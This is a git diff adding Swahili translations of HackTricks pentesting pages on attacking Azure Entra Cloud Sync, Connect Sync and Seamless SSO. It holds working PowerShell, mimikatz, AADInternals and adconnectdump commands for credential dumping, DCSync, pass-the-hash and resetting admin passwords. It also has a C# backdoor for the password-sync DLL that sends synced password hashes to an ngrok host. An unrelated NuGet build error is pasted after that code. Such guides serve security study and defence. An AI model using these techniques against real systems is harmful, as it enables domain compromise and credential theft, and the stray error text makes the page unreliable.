Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

2026-07-28 22:51:09 -07:00 · 2025-07-23 22:09:25 +00:00
parent 760190eb0d
commit 0a1b569d11
3 changed files with 472 additions and 36 deletions
@@ -0,0 +1,151 @@
+# Az - Cloud Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Cloud Sync** ni njia mpya ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID**.
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa kukidhi na kufikia malengo yako ya utambulisho wa mseto kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.
+
+### Principals Generated
+
+Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka ya On-Premise:
+
+- Katika Entra ID, mtumiaji `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) ameundwa na jukumu **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
+
+> [!WARNING]
+> Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika [**kuinua ruhusa hata kwa msimamizi wa kimataifa**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo haimruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP).
+
+- Katika Entra ID pia kundi **`AAD DC Administrators`** limeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwa [`Microsoft Entra Domain Services`](./az-domain-services.md) inatumika.
+
+- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida, ile ya kawaida huundwa.
+
+> [!WARNING]
+> Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayekabiliwa nayo kuathiri saraka nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+
+> [!NOTE]
+> Kwa kawaida, watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa kubwa moja kwa moja **wanaweza kusawazishwa**.
+
+## Password Sychronization
+
+Sehemu hii ni sawa na ile kutoka:
+
+{{#ref}}
+az-connect-sync.md
+{{#endref}}
+
+- **Kusawazisha hash ya nenosiri** kunaweza kuwezeshwa ili watumiaji waweze **kuingia katika Entra ID wakitumia nenosiri zao kutoka AD**. Zaidi ya hayo, kila wakati nenosiri linapobadilishwa katika AD, litasasishwa katika Entra ID.
+- **Kurejesha nenosiri** pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika eneo la ndani. Lakini kulingana na [nyaraka za sasa](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Wakala wa Connect, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi.
+- **Kurejesha vikundi**: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya ndani. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD.
+
+## Pivoting
+
+### AD --> Entra ID
+
+- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, kuhamasisha kutoka AD hadi Entra ID ni rahisi, tu **kabili nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu)**.
+
+Hivyo unaweza kwa mfano
+- Kabilisha akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID.
+- Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
+- Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
+
+Ili kukabili akidi za **`provAgentgMSA`**:
+```powershell
+# Enumerate provAgentgMSA account
+Get-ADServiceAccount -Filter * -Server domain.local
+# Find who can read the password of the gMSA (usually only the DC computer account)
+Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
+
+# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
+lsadump::dcsync /domain:domain.local /user:<dc-name>$
+sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
+
+# Or you can change who can read the password of the gMSA account to all domain admins for example:
+Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
+
+# Read the password of the gMSA
+$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
+
+#Install-Module -Name DSInternals
+#Import-Module DSInternals
+$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
+ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
+```
+Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha kudumu ukiweza kufanya shambulio za DCSync dhidi ya AD.
+
+Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
+{{#endref}}
+
+> [!NOTE]
+> Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya **makundi ya Entra ID kutoka AD** yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au **makundi ya dynamic yanaweza kutumika**, hivyo kila wakati angalia sheria za dynamic na njia zinazoweza kutumika kuzitumia:
+
+{{#ref}}
+../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
+
+Kuhusu kudumu [hii blogu](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) inapendekeza kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) kuingiza nyuma dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa **`PasswordHashGenerator`** na blogu inapendekeza kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka `use System.Net` na matumizi ya `WebClient` kutoa hash za nywila):
+```csharp
+using System;
+using System.Net;
+using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
+
+namespace Microsoft.Online.PasswordSynchronization
+{
+// Token: 0x0200003E RID: 62
+public class PasswordHashGenerator : ClearPasswordHashGenerator
+{
+// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
+public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
+{
+PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
+try
+{
+using (WebClient webClient = new WebClient())
+{
+webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
+}
+}
+catch (Exception)
+{
+}
+return new PasswordHashData
+{
+Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
+RawHash = passwordHashData.RawHash
+};
+}
+}
+}
+```
+NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
+. Please see Error List window for detailed warnings and errors.
+
+### Entra ID --> AD
+
+- Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kupitia wakala huo.
+
+- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZEKANI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walikuwa wamesawazishwa na hash ya nenosiri na wanatoka kwenye kikoa ambacho ni sehemu ya msitu wa kikoa sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+
+> - Makundi haya yanaweza kuwa na watumiaji waliosawazishwa kwenye eneo la kazi na / au makundi ya usalama yaliyoanzishwa kwenye wingu.
+> - Akaunti za watumiaji za eneo la kazi ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoanzishwa kwenye wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka kwenye msitu mmoja.
+
+Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji atahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi).
+
+### Enumeration
+```bash
+# Check for the gMSA SA
+Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
+
+# Get all the configured cloud sync agents (usually one per on-premise domain)
+## In the machine name of each you can infer the name of the domain
+az rest \
+--method GET \
+--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
+--headers "Content-Type=application/json"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,203 @@
+# Az - Connect Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Huduma za usawazishaji za Microsoft Entra Connect (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inashughulikia shughuli zote zinazohusiana na usawazishaji wa data za utambulisho kati ya mazingira yako ya ndani na Microsoft Entra ID.
+
+Ili kuitumia, inahitajika kufunga **`Microsoft Entra Connect Sync`** wakala katika seva ndani ya mazingira yako ya AD. Wakala huyu ndiye atakayeshughulikia usawazishaji kutoka upande wa AD.
+
+<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
+
+**Connect Sync** kimsingi ni njia ya "zamani" ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID.** Njia mpya inayopendekezwa ni kutumia **Entra Cloud Sync**:
+
+{{#ref}}
+az-cloud-sync.md
+{{#endref}}
+
+### Principals Generated
+
+- Akaunti **`MSOL_<installationID>`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapata jukumu la **Directory Synchronization Accounts** (tazama [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za replication (DCSync) katika AD ya ndani**.
+- Hii inamaanisha kwamba mtu yeyote anayepata akaunti hii ataweza kuathiri eneo la ndani.
+- Akaunti ya huduma inayosimamiwa **`ADSyncMSA<id>`** inaundwa katika AD ya ndani bila ruhusa maalum za msingi.
+- Katika Entra ID, Msingi wa Huduma **`ConnectSyncProvisioning_ConnectSync_<id>`** unaundwa kwa kutumia cheti.
+
+## Synchronize Passwords
+
+### Password Hash Synchronization
+
+Sehemu hii inaweza pia kutumika **kusawazisha nywila kutoka AD hadi Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu usawazishaji wa hash ya nywila katika wakala wa Microsoft Entra Connect Sync uliosakinishwa katika seva ya AD.
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Usawazishaji wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa msingi wa wingu.
+
+Kimsingi, **watumiaji** wote na **hash ya hash za nywila** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hash za asili** hazitumwi kwa Azure AD.
+
+**Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
+
+Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji unafanyika kwenye Azure AD**.
+
+> [!NOTE]
+> Kwa kawaida, watumiaji wa vikundi vilivyo na ruhusa maarufu kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawanasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vyenye ruhusa bila sifa hii au ambao wamepewa ruhusa kubwa moja kwa moja **wanaweza kusawazishwa**.
+
+### Password Writeback
+
+Mipangilio hii inaruhusu **kusawazisha nywila kutoka Entra ID hadi AD** wakati mtumiaji anabadilisha nywila yake katika Entra ID. Kumbuka kwamba ili kuandika nywila ifanye kazi, mtumiaji `MSOL_<id>` aliyeundwa kiotomatiki katika AD anahitaji kupewa [ruhusa zaidi kama ilivyoelezwa katika nyaraka](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) ili aweze **kubadilisha nywila za mtumiaji yeyote katika AD**.
+
+Hii ni ya kuvutia sana kuathiri AD kutoka kwa Entra ID iliyovunjwa kwani utaweza kubadilisha nywila ya "karibu" mtumiaji yeyote.
+
+Wasimamizi wa eneo na watumiaji wengine wanaohusiana na vikundi fulani vya ruhusa hawana nakala ikiwa kikundi kina sifa **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa ruhusa kubwa ndani ya AD bila kuwa sehemu ya vikundi hivyo wanaweza kubadilisha nywila zao. Kwa mfano:
+
+- Watumiaji walipewa ruhusa kubwa moja kwa moja.
+- Watumiaji kutoka kikundi cha **`DNSAdmins`**.
+- Watumiaji kutoka kikundi **`Group Policy Creator Owners`** ambao wameunda GPOs na kuzipeleka kwa OUs wataweza kubadilisha GPOs walizounda.
+- Watumiaji kutoka **`Cert Publishers Group`** ambao wanaweza kuchapisha vyeti kwa Active Directory.
+- Watumiaji wa kikundi kingine chochote chenye ruhusa kubwa bila sifa ya **`adminCount` kuwa 1**.
+
+## Pivoting AD --> Entra ID
+
+### Enumerating Connect Sync
+
+Check for users:
+```bash
+# Check for the users created by the Connect Sync
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
+Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
+Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=MSOL_*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=ADSyncMSA*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=Sync_*)"
+$searcher.FindAll()
+```
+Angalia kwa **Connect Sync configuration** (ikiwa ipo):
+```bash
+az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
+# Check if password sychronization is enabled, if password and group writeback are enabled...
+```
+### Kupata nywila
+
+Nywila za mtumiaji wa **`MSOL_*`** (na mtumiaji wa **Sync\_\*** ikiwa umeundwa) zime **hifadhiwa katika seva ya SQL** kwenye seva ambapo **Entra ID Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandiko wazi.\
+Hifadhidata iko katika `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
+
+Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa:
+
+`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
+
+**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji wa `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi kunawezesha kupandisha hadhi hadi AD na AzureAD.
+
+Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufichuliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+
+### Kutumia MSOL\_\*
+```bash
+# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+Get-AADIntSyncCredentials
+# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
+
+# Using https://github.com/dirkjanm/adconnectdump
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
+.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
+
+# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
+runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
+```
+> [!WARNING]
+> Mashambulizi ya awali yalihatarisha nenosiri lingine ili kuungana na mtumiaji wa Entra ID anayeitwa `Sync_*` na kisha kuhatarisha Entra ID. Hata hivyo, mtumiaji huyu hayupo tena.
+
+
+### Kutumia ConnectSyncProvisioning_ConnectSync\_<id>
+
+Programu hii imeundwa bila kuwa na majukumu yoyote ya usimamizi wa Entra ID au Azure yaliyotolewa. Hata hivyo, ina ruhusa zifuatazo za API:
+
+- Microsoft Entra AD Synchronization Service
+- `ADSynchronization.ReadWrite.All`
+- Microsoft password reset service
+- `PasswordWriteback.OffboardClient.All`
+- `PasswordWriteback.RefreshClient.All`
+- `PasswordWriteback.RegisterClientVersion.All`
+
+Imependekezwa kwamba SP wa programu hii bado inaweza kutumika kufanya baadhi ya vitendo vya kijasiri kwa kutumia API isiyoandikwa, lakini hakuna PoC iliyopatikana hadi sasa kwa maoni yangu.\
+Katika hali yoyote, kufikiria kwamba hii inaweza kuwa inawezekana itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti cha kuingia kama huduma hii ya msingi na kujaribu kukitumia.
+
+Hii [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ilitolewa hivi karibuni kabla ya mabadiliko kutoka kutumia mtumiaji `Sync_*` hadi huduma hii ya msingi, ilielezea kwamba cheti kilihifadhiwa ndani ya seva na ilikuwa inawezekana kukipata, kuunda PoP (Proof of Possession) yake na token ya grafu, na kwa hili, kuwa na uwezo wa kuongeza cheti kipya kwa huduma ya msingi (kwa sababu **huduma ya msingi** inaweza kila wakati kujitengenezea cheti kipya) na kisha kuitumia kudumisha uthabiti kama SP.
+
+Ili kutekeleza vitendo hivi, zana zifuatazo zimechapishwa: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+
+Katika uzoefu wangu, cheti hakihifadhiwi tena katika mahali ambapo zana ya awali ilikuwa ikitafuta, na kwa hivyo, zana hiyo haifanyi kazi tena. Hivyo, utafiti zaidi unaweza kuhitajika.
+
+### Kutumia Sync\_\* [DEPRECATED]
+
+> [!WARNING]
+> Awali mtumiaji anayeitwa `Sync_*` aliumbwa katika Entra ID na ruhusa nyeti sana zilizotolewa, ambazo ziliruhusu kufanya vitendo vya kijasiri kama kubadilisha nenosiri la mtumiaji yeyote au kuongeza akidi mpya kwa huduma ya msingi. Hata hivyo, kuanzia Jan2025 mtumiaji huyu hauumbwi tena kwa kawaida kwani sasa programu/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** inatumika. Hata hivyo, inaweza bado kuwepo katika mazingira mengine, hivyo inafaa kuangalia kwa ajili yake.
+
+Kuhatarisha akaunti ya **`Sync_*`** inawezekana **kurekebisha nenosiri** la mtumiaji yeyote (ikiwemo Wasimamizi wa Kimataifa)
+```bash
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+
+# This command, run previously, will give us alse the creds of this account
+Get-AADIntSyncCredentials
+
+# Get access token for Sync_* account
+$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
+$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
+Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
+
+# Get global admins
+Get-AADIntGlobalAdmins
+
+# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
+Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
+
+# Reset the users password
+Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
+
+# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
+```
+Inawezekana pia **kubadilisha nywila za watumiaji wa wingu tu** (hata kama hiyo siyo ya kutarajia)
+```bash
+# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
+# The CloudAnchor is of the format USER_ObjectID.
+Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
+
+# Reset password
+Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
+```
+Ni pia inawezekana kutoa nenosiri la mtumiaji huyu.
+
+> [!CAUTION]
+> Chaguo lingine lingekuwa **kutoa ruhusa za kipaumbele kwa huduma ya msingi**, ambayo mtumiaji wa **Sync** ana **ruhusa** ya kufanya, na kisha **kupata huduma hiyo ya msingi** kama njia ya privesc.
+
+### Seamless SSO
+
+Inawezekana kutumia Seamless SSO na PHS, ambayo inahatarishwa na matumizi mengine. Angalia katika:
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+## Pivoting Entra ID --> AD
+
+- Ikiwa kuandika nenosiri kumewezeshwa, unaweza **kubadilisha nenosiri la mtumiaji yeyote katika AD** ambayo inasawazishwa na Entra ID.
+- Ikiwa kuandika vikundi kumewezeshwa, unaweza **kuongeza watumiaji kwenye vikundi vya kipaumbele** katika Entra ID ambavyo vinasawazishwa na AD.
+
+## Marejeleo
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
+- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
+
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,23 +4,72 @@

 ## Basic Information

-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) moja kwa moja **inaingia watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD**, na kwa kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inaingia watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao kuingia kwenye Azure AD**, na kawaida, hata kuandika majina yao ya watumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji sehemu zozote za ndani.

 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>

-Kimsingi Azure AD Seamless SSO **inaingia watumiaji** wanapokuwa **katika PC iliyounganishwa na eneo la ndani**.
+Kimsingi Azure AD Seamless SSO **inaingia watumiaji** wanapokuwa **kwenye PC iliyounganishwa na kikoa cha ndani**.

 Inasaidiwa na [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) na [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).

-Desktop SSO inatumia **Kerberos** kwa uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa AZUREADSSOACC`$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Azure AD** wakati wa usanidi.
+Desktop SSO inatumia **Kerberos** kwa uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa `AZUREADSSOACC$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Entra ID** wakati wa usanidi.

-**Tiketi za Kerberos** **zimefungwa** kwa kutumia **NTHash (MD4)** ya nywila na Azure AD inatumia nywila iliyotumwa kufungua tiketi hizo.
+**Tiketi za Kerberos** **zinahifadhiwa** kwa kutumia **NTHash (MD4)** ya nywila na Entra ID inatumia nywila iliyotumwa kufungua tiketi hizo.

-**Azure AD** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na eneo kinapeleka tiketi hizi kwa kiungo hiki kwa SSO.
+**Entra ID** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa SSO.

-### On-prem -> cloud
+### Enumeration
+```bash
+# Check if the SSO is enabled in the tenant
+Import-Module AADInternals
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

-**Nywila** ya mtumiaji **`AZUREADSSOACC$` haitabadilika kamwe**. Hivyo, msimamizi wa eneo anaweza kuathiri **hash ya akaunti hii**, na kisha kuitumia **kuunda tiketi za fedha** kuungana na Azure na **mtumiaji yeyote wa ndani aliyeunganishwa**:
+# Check if the AZUREADSSOACC$ account exists in the domain
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
+
